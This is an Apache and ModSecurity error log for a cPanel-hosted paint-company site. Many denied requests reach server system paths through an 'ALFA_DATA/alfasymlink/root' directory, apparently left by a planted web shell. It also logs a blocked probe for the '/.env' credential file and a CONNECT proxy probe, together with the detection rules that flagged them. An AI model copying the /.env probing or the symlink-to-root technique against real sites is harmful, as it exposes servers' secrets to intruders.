[Sat Oct 24 23:27:38.241474 2026] [core:error] [pid 2749126:tid 2749126] (13)Permission denied: [client 35.172.125.172:57678] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/device/subsystem/devices/device:12/eject
[Sat Oct 24 23:27:42.830261 2026] [ssl:error] [pid 2749158:tid 2749158] (70014)End of file found: [client 18.213.70.100:34135] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:27:46.220441 2026] [ssl:error] [pid 2748410:tid 2748410] (70014)End of file found: [client 44.223.232.55:19000] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:28:06.470944 2026] [ssl:error] [pid 2749302:tid 2749302] (70014)End of file found: [client 52.203.152.231:40355] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:28:10.260879 2026] [ssl:error] [pid 2748405:tid 2748405] (70014)End of file found: [client 34.239.197.197:55784] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:28:15.659987 2026] [core:error] [pid 2749158:tid 2749158] (13)Permission denied: [client 185.191.171.2:42974] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sighand_cache/slabs
[Sat Oct 24 23:28:22.336091 2026] [ssl:error] [pid 2748406:tid 2748406] (70014)End of file found: [client 34.206.193.60:60016] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:28:30.242991 2026] [core:error] [pid 2748405:tid 2748405] (13)Permission denied: [client 35.153.86.200:9513] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/device:01/PNP0B00:00/physical_node/driver/uevent
[Sat Oct 24 23:28:35.221878 2026] [core:error] [pid 2748410:tid 2748410] (13)Permission denied: [client 85.208.96.194:35372] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/anon_vma/partial
[Sat Oct 24 23:28:38.317417 2026] [ssl:error] [pid 2749160:tid 2749160] (70014)End of file found: [client 3.235.215.92:51542] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:28:47.424894 2026] [ssl:error] [pid 2749138:tid 2749138] (70014)End of file found: [client 44.213.36.21:58269] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:28:50.359507 2026] [ssl:error] [pid 2749302:tid 2749302] (70014)End of file found: [client 52.54.157.23:56574] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:28:54.259834 2026] [ssl:error] [pid 2748405:tid 2748405] (70014)End of file found: [client 52.71.203.206:31882] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:28:54.260179 2026] [security2:error] [pid 2748405:tid 2748405] [client 52.71.203.206:31882] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/device:05/subsystem/devices/device:06/physical_node/virtio2/status"] [unique_id "at13dlyEldkI1XsDE__7SQAAAAA"]
[Sat Oct 24 23:28:54.260210 2026] [security2:error] [pid 2748405:tid 2748405] [client 52.71.203.206:31882] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/device:05/subsystem/devices/device:06/physical_node/virtio2/status"] [unique_id "at13dlyEldkI1XsDE__7SQAAAAA"]
[Sat Oct 24 23:28:58.232709 2026] [ssl:error] [pid 2749126:tid 2749126] (70014)End of file found: [client 52.73.6.26:30231] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:29:02.257260 2026] [core:error] [pid 2749158:tid 2749158] (13)Permission denied: [client 18.232.11.247:55377] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/device/subsystem/drivers/hardware_error_device/uevent
[Sat Oct 24 23:29:14.282104 2026] [ssl:error] [pid 2749138:tid 2749138] (70014)End of file found: [client 23.23.137.202:40417] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:29:20.664021 2026] [core:error] [pid 2748405:tid 2748405] (13)Permission denied: [client 185.191.171.6:33056] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/user_namespace/slabs
[Sat Oct 24 23:29:22.263247 2026] [ssl:error] [pid 2749120:tid 2749120] (70014)End of file found: [client 54.166.126.132:56295] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:29:26.255605 2026] [ssl:error] [pid 2749158:tid 2749158] (70014)End of file found: [client 52.204.174.139:8224] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:29:31.592039 2026] [core:error] [pid 2749160:tid 2749160] (13)Permission denied: [client 185.191.171.7:30346] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_free_data/objs_per_slab
[Sat Oct 24 23:29:38.303237 2026] [ssl:error] [pid 2748404:tid 2748404] (70014)End of file found: [client 100.29.128.75:6533] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:29:42.231062 2026] [ssl:error] [pid 2749302:tid 2749302] (70014)End of file found: [client 54.80.185.200:14944] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:29:46.519443 2026] [ssl:error] [pid 2748405:tid 2748405] (70014)End of file found: [client 3.217.82.254:35469] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:29:54.549034 2026] [ssl:error] [pid 2748405:tid 2748405] (70014)End of file found: [client 3.81.253.213:27419] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:29:58.199893 2026] [ssl:error] [pid 2749120:tid 2749120] (70014)End of file found: [client 18.205.91.101:22119] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:30:02.323104 2026] [security2:error] [pid 2749160:tid 2749160] [client 3.230.224.6:3617] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/input0/subsystem/event0/device/subsystem/input3/device/driver/module/"] [unique_id "at13uvG7fKP2nlCDuzzHuAAAAAg"]
[Sat Oct 24 23:30:02.323167 2026] [security2:error] [pid 2749160:tid 2749160] [client 3.230.224.6:3617] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/input0/subsystem/event0/device/subsystem/input3/device/driver/module/"] [unique_id "at13uvG7fKP2nlCDuzzHuAAAAAg"]
[Sat Oct 24 23:30:10.205902 2026] [ssl:error] [pid 2749158:tid 2749158] (70014)End of file found: [client 3.224.215.150:31327] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:30:14.215040 2026] [ssl:error] [pid 2748406:tid 2748406] (70014)End of file found: [client 52.4.76.156:5321] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:30:18.208406 2026] [ssl:error] [pid 2749138:tid 2749138] (70014)End of file found: [client 54.90.244.132:55766] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:30:22.396838 2026] [ssl:error] [pid 2749302:tid 2749302] (70014)End of file found: [client 18.207.79.144:19256] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:30:26.192511 2026] [ssl:error] [pid 2748405:tid 2748405] (70014)End of file found: [client 52.0.105.244:49451] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:30:30.215206 2026] [ssl:error] [pid 2749126:tid 2749126] (70014)End of file found: [client 34.230.124.21:59276] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:30:34.223244 2026] [ssl:error] [pid 2749120:tid 2749120] (70014)End of file found: [client 34.225.24.180:56539] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:30:35.626848 2026] [core:error] [pid 2748410:tid 2748410] (13)Permission denied: [client 185.191.171.18:13126] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-128/trace
[Sat Oct 24 23:30:42.767964 2026] [core:error] [pid 2749158:tid 2749158] (13)Permission denied: [client 52.202.233.37:30910] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory1/node0/cpu0/driver/cpu1/firmware_node/subsystem/drivers/ec/uevent
[Sat Oct 24 23:30:50.256710 2026] [ssl:error] [pid 2749302:tid 2749302] (70014)End of file found: [client 98.83.178.66:5391] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:30:54.272264 2026] [ssl:error] [pid 2748405:tid 2748405] (70014)End of file found: [client 44.195.50.71:37301] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:31:10.214011 2026] [ssl:error] [pid 2748404:tid 2748404] (5)Input/output error: [client 3.221.156.96:13819] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:31:14.421742 2026] [ssl:error] [pid 2748406:tid 2748406] (70014)End of file found: [client 34.196.114.170:41261] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:31:18.388120 2026] [ssl:error] [pid 2749138:tid 2749138] (70014)End of file found: [client 184.73.35.182:31596] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:31:22.215637 2026] [ssl:error] [pid 2749302:tid 2749302] (70014)End of file found: [client 52.3.127.170:15112] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:31:30.364980 2026] [ssl:error] [pid 2748410:tid 2748410] (70014)End of file found: [client 98.82.39.241:20562] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:31:34.212277 2026] [ssl:error] [pid 2749158:tid 2749158] (70014)End of file found: [client 54.156.55.147:43188] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:31:38.316549 2026] [ssl:error] [pid 2748406:tid 2748406] (70014)End of file found: [client 54.156.55.147:46356] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:31:50.206490 2026] [core:error] [pid 2748405:tid 2748405] (13)Permission denied: [client 44.205.120.22:35212] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:1a/subsystem/devices/device:00/physical_node/driver/remove_id
[Sat Oct 24 23:32:02.250385 2026] [ssl:error] [pid 2748410:tid 2748410] (5)Input/output error: [client 35.173.38.202:37221] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:32:06.238408 2026] [core:error] [pid 2749160:tid 2749160] (13)Permission denied: [client 50.19.221.48:33092] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/device:05/subsystem/devices/device:06/physical_node/driver/0000:00:04.0/resource4
[Sat Oct 24 23:32:10.214092 2026] [ssl:error] [pid 2748404:tid 2748404] (70014)End of file found: [client 34.231.77.232:39350] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:32:18.362300 2026] [ssl:error] [pid 2748406:tid 2748406] (70014)End of file found: [client 3.214.176.44:2134] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:32:26.195566 2026] [core:error] [pid 2748405:tid 2748405] (13)Permission denied: [client 3.208.146.193:3016] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input0/subsystem/event0/device/subsystem/input5/device/driver/uevent
[Sat Oct 24 23:32:30.320208 2026] [ssl:error] [pid 2749120:tid 2749120] (70014)End of file found: [client 100.28.133.214:6163] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:32:38.210497 2026] [core:error] [pid 2749160:tid 2749160] (13)Permission denied: [client 3.216.13.10:57959] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:05/physical_node/remove
[Sat Oct 24 23:32:54.231644 2026] [ssl:error] [pid 2749126:tid 2749126] (70014)End of file found: [client 44.210.204.255:60839] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:32:58.373578 2026] [ssl:error] [pid 2749120:tid 2749120] (70014)End of file found: [client 52.205.113.104:28171] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:33:00.742602 2026] [core:error] [pid 2748410:tid 2748410] (13)Permission denied: [client 185.191.171.13:25568] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/perf_event/order
[Sat Oct 24 23:33:02.217067 2026] [ssl:error] [pid 2749160:tid 2749160] (70014)End of file found: [client 184.73.239.35:34791] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:33:04.906191 2026] [core:error] [pid 2748404:tid 2748404] (13)Permission denied: [client 185.191.171.6:20944] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sgpool-128/usersize
[Sat Oct 24 23:33:06.201470 2026] [ssl:error] [pid 2749158:tid 2749158] (70014)End of file found: [client 34.227.156.153:46031] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:33:10.289469 2026] [core:error] [pid 2748406:tid 2748406] (13)Permission denied: [client 54.204.62.163:50931] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/device:05/wakeup/wakeup5/device/physical_node/driver/0000:00:05.0/virtio2/subsystem/drivers/virtio_blk/uevent
[Sat Oct 24 23:33:14.215106 2026] [ssl:error] [pid 2749138:tid 2749138] (70014)End of file found: [client 44.213.36.21:53986] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:33:21.525211 2026] [core:error] [pid 2748405:tid 2748405] (13)Permission denied: [client 85.208.96.195:10278] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dmaengine-unmap-16/red_zone
[Sat Oct 24 23:33:26.436345 2026] [ssl:error] [pid 2748410:tid 2748410] (70014)End of file found: [client 185.191.171.2:41434] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:33:29.631901 2026] [core:error] [pid 2749160:tid 2749160] (13)Permission denied: [client 185.191.171.8:39468] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/audit_buffer/objs_per_slab
[Sat Oct 24 23:33:30.716368 2026] [ssl:error] [pid 2748404:tid 2748404] (70014)End of file found: [client 18.209.201.119:4782] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:33:34.214966 2026] [ssl:error] [pid 2749158:tid 2749158] (70014)End of file found: [client 3.209.174.110:45276] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:33:38.385981 2026] [ssl:error] [pid 2748406:tid 2748406] (70014)End of file found: [client 3.216.227.216:55800] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:33:42.359399 2026] [ssl:error] [pid 2749138:tid 2749138] (70014)End of file found: [client 52.70.209.13:15403] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:33:43.533928 2026] [core:error] [pid 2749302:tid 2749302] (13)Permission denied: [client 85.208.96.200:51784] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-96/slabs
[Sat Oct 24 23:33:54.468312 2026] [core:error] [pid 2748410:tid 2748410] (13)Permission denied: [client 44.223.116.180:58243] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/subsystem/slots/4/module/uevent
[Sat Oct 24 23:33:58.709077 2026] [security2:error] [pid 2749158:tid 2749158] [client 130.12.180.175:17358] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env"] [unique_id "at14pvAfy9bYoq3HUbAcFwAAAAY"]
[Sat Oct 24 23:33:58.709315 2026] [security2:error] [pid 2749158:tid 2749158] [client 130.12.180.175:17358] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env"] [unique_id "at14pvAfy9bYoq3HUbAcFwAAAAY"]
[Sat Oct 24 23:33:58.709600 2026] [security2:error] [pid 2749158:tid 2749158] [client 130.12.180.175:17358] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env"] [unique_id "at14pvAfy9bYoq3HUbAcFwAAAAY"]
[Sat Oct 24 23:34:06.227351 2026] [ssl:error] [pid 2749138:tid 2749138] (70014)End of file found: [client 34.225.243.131:2264] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:34:14.235199 2026] [core:error] [pid 2748405:tid 2748405] (13)Permission denied: [client 44.212.145.46:60732] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mouse1/device/event3/subsystem/input1/device/firmware_node/physical_node/driver/00:01/subsystem/drivers_probe
[Sat Oct 24 23:34:18.218564 2026] [ssl:error] [pid 2749126:tid 2749126] (5)Input/output error: [client 100.29.63.24:32287] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:34:26.322440 2026] [ssl:error] [pid 2748410:tid 2748410] (70014)End of file found: [client 52.204.71.8:14147] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:34:30.230555 2026] [ssl:error] [pid 2749160:tid 2749160] (5)Input/output error: [client 100.29.34.97:35615] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:34:38.219293 2026] [ssl:error] [pid 2749158:tid 2749158] (70014)End of file found: [client 52.54.249.218:38547] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:34:38.239210 2026] [ssl:error] [pid 2748406:tid 2748406] (70014)End of file found: [client 85.208.96.198:63212] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:34:42.975527 2026] [security2:error] [pid 2749138:tid 2749138] [client 54.204.62.163:13797] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/memory1/node0/cpu0/subsystem/drivers/processor/cpu1/driver/cpu0/firmware_node/physical_node/cache/index3/"] [unique_id "at140qcu9k8aHz4uSmmppwAAAAU"]
[Sat Oct 24 23:34:42.975574 2026] [security2:error] [pid 2749138:tid 2749138] [client 54.204.62.163:13797] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/memory1/node0/cpu0/subsystem/drivers/processor/cpu1/driver/cpu0/firmware_node/physical_node/cache/index3/"] [unique_id "at140qcu9k8aHz4uSmmppwAAAAU"]
[Sat Oct 24 23:34:46.266496 2026] [ssl:error] [pid 2748405:tid 2748405] (70014)End of file found: [client 98.84.200.43:43880] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:34:50.210292 2026] [ssl:error] [pid 2749126:tid 2749126] (5)Input/output error: [client 34.231.181.240:20736] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:34:54.219430 2026] [ssl:error] [pid 2749120:tid 2749120] (70014)End of file found: [client 18.209.137.234:54865] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:34:58.493817 2026] [ssl:error] [pid 2748410:tid 2748410] (70014)End of file found: [client 52.45.15.233:17042] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:35:06.307699 2026] [core:error] [pid 2749158:tid 2749158] (13)Permission denied: [client 54.87.95.7:48857] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/firmware_node/physical_node/remove
[Sat Oct 24 23:35:14.164508 2026] [core:error] [pid 2749138:tid 2749138] (13)Permission denied: [client 185.191.171.5:58350] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/tcp_bind_bucket/alloc_calls
[Sat Oct 24 23:35:18.186683 2026] [ssl:error] [pid 2748405:tid 2748405] (70014)End of file found: [client 3.212.219.113:5074] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:35:22.229607 2026] [ssl:error] [pid 2749126:tid 2749126] (70014)End of file found: [client 52.204.81.148:2131] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:35:29.861826 2026] [core:error] [pid 2748404:tid 2748404] (13)Permission denied: [client 85.208.96.206:24372] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/audit_buffer/objects
[Sat Oct 24 23:35:30.173740 2026] [core:error] [pid 2749158:tid 2749158] (13)Permission denied: [client 98.84.60.17:52367] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory1/node0/cpu0/driver/cpu1/firmware_node/subsystem/devices/LNXCPU:01/eject
[Sat Oct 24 23:35:34.928644 2026] [core:error] [pid 2749138:tid 2749138] (13)Permission denied: [client 185.191.171.8:47374] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_1k/ctor
[Sat Oct 24 23:35:50.177524 2026] [core:error] [pid 2748410:tid 2748410] (13)Permission denied: [client 23.23.104.107:2942] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:1d/subsystem/devices/PNP0A03:00/device:15/eject
[Sat Oct 24 23:36:06.176806 2026] [ssl:error] [pid 2748406:tid 2748406] (70014)End of file found: [client 34.192.125.239:23232] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:36:09.336053 2026] [security2:error] [pid 2749138:tid 2749138] [client 146.19.248.35:40886] ModSecurity: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\\\s+(?:\\\\w{3,7}?://[\\\\w\\\\-\\\\./]*(?::\\\\d+)?)?/[^?#]*(?:\\\\?[^#\\\\s]*)?(?:#[\\\\S]*)?|connect (?:\\\\d{1,3}\\\\.){3}\\\\d{1,3}\\\\.?(?::\\\\d+)?|options \\\\*)\\\\s+[\\\\w\\\\./]+|get /[^?#]*(?:\\\\?[^#\\\\s]*)?(?:#[\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "47"] [id "920100"] [rev "2"] [msg "Invalid HTTP Request Line"] [data "CONNECT cloudflare.com:443 HTTP/1.1"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_REQ"] [tag "CAPEC-272"] [hostname "cloudflare.com"] [uri "/"] [unique_id "at15Kacu9k8aHz4uSmmpqgAAAAU"]
[Sat Oct 24 23:36:10.634215 2026] [ssl:error] [pid 2749126:tid 2749126] (70014)End of file found: [client 50.16.248.61:50371] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:36:26.216611 2026] [core:error] [pid 2748405:tid 2748405] (13)Permission denied: [client 52.5.232.250:43434] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:02/physical_node/subsystem/drivers/xen-platform-pci/unbind
[Sat Oct 24 23:36:42.221813 2026] [core:error] [pid 2749160:tid 2749160] (13)Permission denied: [client 3.227.180.70:62171] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:03.0/firmware_node/physical_node/subsystem/drivers/piix4_smbus/0000:00:01.3/driver/new_id
[Sat Oct 24 23:36:50.163666 2026] [security2:error] [pid 2749160:tid 2749160] [client 3.229.95.193:45665] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/device:11/subsystem/devices/device:04/"] [unique_id "at15UvG7fKP2nlCDuzzHxwAAAAg"]
[Sat Oct 24 23:36:50.163741 2026] [security2:error] [pid 2749160:tid 2749160] [client 3.229.95.193:45665] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/device:11/subsystem/devices/device:04/"] [unique_id "at15UvG7fKP2nlCDuzzHxwAAAAg"]
[Sat Oct 24 23:36:54.333626 2026] [ssl:error] [pid 2748404:tid 2748404] (70014)End of file found: [client 107.22.208.39:7114] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:37:06.182688 2026] [ssl:error] [pid 2749138:tid 2749138] (70014)End of file found: [client 52.201.155.215:57521] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:37:10.154951 2026] [ssl:error] [pid 2749158:tid 2749158] (70014)End of file found: [client 18.210.58.238:44595] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:37:13.972095 2026] [core:error] [pid 2749138:tid 2749138] (13)Permission denied: [client 85.208.96.198:10766] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_struct/trace
[Sat Oct 24 23:37:26.163730 2026] [ssl:error] [pid 2749120:tid 2749120] (70014)End of file found: [client 44.207.207.36:24509] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:37:30.209603 2026] [ssl:error] [pid 2749302:tid 2749302] (70014)End of file found: [client 44.194.134.53:43774] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:37:42.245686 2026] [ssl:error] [pid 2748406:tid 2748406] (5)Input/output error: [client 52.6.97.88:2220] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:37:46.334680 2026] [ssl:error] [pid 2748405:tid 2748405] (70014)End of file found: [client 44.221.105.234:15728] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:37:50.162969 2026] [ssl:error] [pid 2748406:tid 2748406] (70014)End of file found: [client 3.218.103.254:41544] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:37:51.396630 2026] [core:error] [pid 2749120:tid 2749120] (13)Permission denied: [client 185.191.171.7:35870] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dax_cache/cache_dma
[Sat Oct 24 23:37:54.149919 2026] [ssl:error] [pid 2748405:tid 2748405] (70014)End of file found: [client 44.215.231.15:62546] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:37:58.192872 2026] [ssl:error] [pid 2748404:tid 2748404] (70014)End of file found: [client 52.4.238.8:9631] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:38:22.207937 2026] [ssl:error] [pid 2749120:tid 2749120] (5)Input/output error: [client 54.225.148.123:27081] AH02013: coalesce failed to read from data bucket
